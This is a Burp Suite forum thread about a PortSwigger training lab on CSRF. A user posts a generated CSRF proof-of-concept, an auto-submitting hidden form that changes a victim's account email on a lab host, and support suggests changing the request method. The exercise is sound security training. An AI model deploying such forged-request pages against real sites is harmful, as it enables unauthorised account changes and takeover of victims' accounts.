Research Academy
My account Customers About Blog Careers Legal Contact Resellers

Burp Suite User Forum

Create new post

CSRF where token validation depends on request method

Dean | Last updated: Mar 04, 2024 08:12AM UTC

Hi, I have a problem with solving CSRF where token validation depends on request method in Burp professional version. This is my code from exploit server aned I have changed email in the code.Do you have more information about the issue? <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="https://0a84008f0335b28c80714e8000ac0014.web-security-academy.net/my-account/change-email" method="POST"> <input type="hidden" name="email" value="wiener4&#64;user&#46;com" /> <input type="hidden" name="csrf" value="volwKBajP4elSEHK9DLQiYqnW3pAqQHu" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html>

Ben, PortSwigger Agent | Last updated: Mar 04, 2024 11:19AM UTC

Hi Dean, I have just run through this lab and been able to solve it using the solution provided so it does appear to be functioning as expected. If you create the PoC after you have changed the request method, does this then allow you to 'solve' the lab?

You must be an existing, logged-in customer to reply to a thread. Please email us for additional support.